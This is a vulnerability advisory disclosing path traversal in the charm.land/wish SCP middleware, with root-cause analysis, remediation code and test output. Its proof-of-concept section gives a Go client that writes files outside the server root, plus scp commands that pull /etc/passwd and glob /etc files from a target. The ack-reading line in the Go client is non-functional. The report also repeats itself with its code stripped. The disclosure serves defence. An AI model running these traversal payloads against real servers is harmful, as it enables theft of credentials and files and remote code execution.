Summary
The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.
Affected Versions
charm.land/wish/v2 — all versions through commit 72d67e6 (current main)
github.com/charmbracelet/wish — likely all v1 versions (same code pattern)
Details
Root Cause
The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:
func (h *fileSystemHandler) prefixed(path string) string {
path = filepath.Clean(path)
if strings.HasPrefix(path, h.root) {
return path
}
return filepath.Join(h.root, path)
}
When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.
Attack Vector 1: Arbitrary File Write (scp -t)
When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:
reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)
The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.
Attack Vector 2: Arbitrary File Read (scp -f)
When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.
Attack Vector 3: File Enumeration via Glob
The Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.
Proof of Concept
All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.
Vulnerable Server
Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:
package main
import (
"net"
"charm.land/wish/v2"
"charm.land/wish/v2/scp"
"github.com/charmbracelet/ssh"
)
func main() {
handler := scp.NewFileSystemHandler("/srv/data")
s, _ := wish.NewServer(
wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
wish.WithMiddleware(scp.Middleware(handler, handler)),
// Default: accepts all connections (no auth configured)
)
s.ListenAndServe()
}
Write Traversal — Write arbitrary files outside /srv/data
An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:
package main
import (
"fmt"
"os"
gossh "golang.org/x/crypto/ssh"
)
func main() {
config := &gossh.ClientConfig{
User: "attacker",
Auth: []gossh.AuthMethod{gossh.Password("anything")},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
client, _ := gossh.Dial("tcp", "target:2222", config)
session, _ := client.NewSession()
// Pipe crafted SCP protocol data into stdin
stdin, _ := session.StdinPipe()
go func() {
// Wait for server's NULL ack, then send traversal payload
buf := make([]byte, 1)
session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack
// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
// Wait for ack
stdin.Write([]byte("hello world\n"))
stdin.Write([]byte{0}) // NULL terminator
stdin.Close()
}()
// Tell the server we're uploading to "."
session.Run("scp -t .")
}
Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.
Read Traversal — Read arbitrary files outside /srv/data
No custom tooling needed. Standard scp passes the path directly:
# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd
The server resolves ../../../etc/passwd through prefixed():
filepath.Clean("../../../etc/passwd") → "../../../etc/passwd"
- Not prefixed with
/srv/data, so: filepath.Join("/srv/data", "../../../etc/passwd") → "/etc/passwd"
- File contents of
/etc/passwd are sent to the attacker.
Glob Traversal — Enumerate and read files outside /srv/data
scp -P 2222 attacker@target:'../../../etc/pass*' ./
Validated Test Output
These were confirmed with integration tests using wish.NewServer, scp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:
=== RUN TestPathTraversalWrite
PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite
=== RUN TestPathTraversalWriteRecursiveDir
PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir
=== RUN TestPathTraversalRead
PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead
=== RUN TestPathTraversalGlob
PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob
Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.
Impact
An authenticated SSH user can:
- Write arbitrary files anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH
authorized_keys, shell profiles, or systemd units.
- Read arbitrary files accessible to the server process, including
/etc/shadow, private keys, database credentials, and application secrets.
- Create arbitrary directories on the filesystem.
- Enumerate files outside the root via glob patterns.
If the server uses the default authentication configuration (which accepts all connections — see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.
Remediation
Fix prefixed() to enforce root containment
func (h *fileSystemHandler) prefixed(path string) (string, error) {
// Force path to be relative by prepending /
joined := filepath.Join(h.root, filepath.Clean("/"+path))
// Verify the result is still within root
if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
}
return joined, nil
}
Sanitize filenames in copy_from_client.go
SCP filenames should never contain path separators or .. components:
name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
return fmt.Errorf("invalid filename: %q", name)
}
Validate info.Path in GetInfo or at the middleware entry point
info.Path = filepath.Clean("/" + info.Path)
Credit
Evan MORVAN (evnsh) — me@evan.sh (Research)
Claude Haiku (formatting the report)
References
Summary
The SCP middleware in
charm.land/wish/v2is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing../sequences over the SCP protocol.Affected Versions
charm.land/wish/v2— all versions through commit72d67e6(currentmain)github.com/charmbracelet/wish— likely all v1 versions (same code pattern)Details
Root Cause
The
fileSystemHandler.prefixed()method inscp/filesystem.go:42-48is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:When
pathcontains../components,filepath.Cleanresolves them but does not reject them. The subsequentfilepath.Join(h.root, path)produces a path that escapes the root directory.Attack Vector 1: Arbitrary File Write (scp -t)
When receiving files from a client (
scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:The captured filename is used directly in
filepath.Join(path, name)without sanitization (scp/copy_from_client.go:90,140), then passed tofileSystemHandler.Write()andfileSystemHandler.Mkdir(), which callprefixed()— allowing the attacker to write files and create directories anywhere on the filesystem.Attack Vector 2: Arbitrary File Read (scp -f)
When sending files to a client (
scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed tohandler.Glob(),handler.NewFileEntry(), andhandler.NewDirEntry(), all of which callprefixed()— allowing the attacker to read any file accessible to the server process.Attack Vector 3: File Enumeration via Glob
The
Globmethod passes user input containing glob metacharacters (*,?,[) tofilepath.Globafterprefixed(), enabling enumeration of files outside the root.Proof of Concept
All three vectors were validated with end-to-end integration tests against a real SSH server using the public
wishandscpAPIs.Vulnerable Server
Any server using
scp.NewFileSystemHandlerwithscp.Middlewareis affected. This is the pattern shown in the officialexamples/scpexample:Write Traversal — Write arbitrary files outside /srv/data
An attacker crafts SCP protocol messages with
../in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to/tmp/pwned:Or equivalently using standard
scpwith a symlink trick, or by patching the opensshscpclient to send a crafted filename.Read Traversal — Read arbitrary files outside /srv/data
No custom tooling needed. Standard
scppasses the path directly:# Read /etc/passwd from a server whose SCP root is /srv/data scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwdThe server resolves
../../../etc/passwdthroughprefixed():filepath.Clean("../../../etc/passwd")→"../../../etc/passwd"/srv/data, so:filepath.Join("/srv/data", "../../../etc/passwd")→"/etc/passwd"/etc/passwdare sent to the attacker.Glob Traversal — Enumerate and read files outside /srv/data
scp -P 2222 attacker@target:'../../../etc/pass*' ./Validated Test Output
These were confirmed with integration tests using
wish.NewServer,scp.Middleware, andscp.NewFileSystemHandleragainst temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:Tests used the real SSH handshake via
golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.Impact
An authenticated SSH user can:
authorized_keys, shell profiles, or systemd units./etc/shadow, private keys, database credentials, and application secrets.If the server uses the default authentication configuration (which accepts all connections — see
wish.go:19), these attacks are exploitable by unauthenticated remote attackers.Remediation
Fix
prefixed()to enforce root containmentSanitize filenames in
copy_from_client.goSCP filenames should never contain path separators or
..components:Validate
info.PathinGetInfoor at the middleware entry pointCredit
Evan MORVAN (evnsh) — me@evan.sh (Research)
Claude Haiku (formatting the report)
References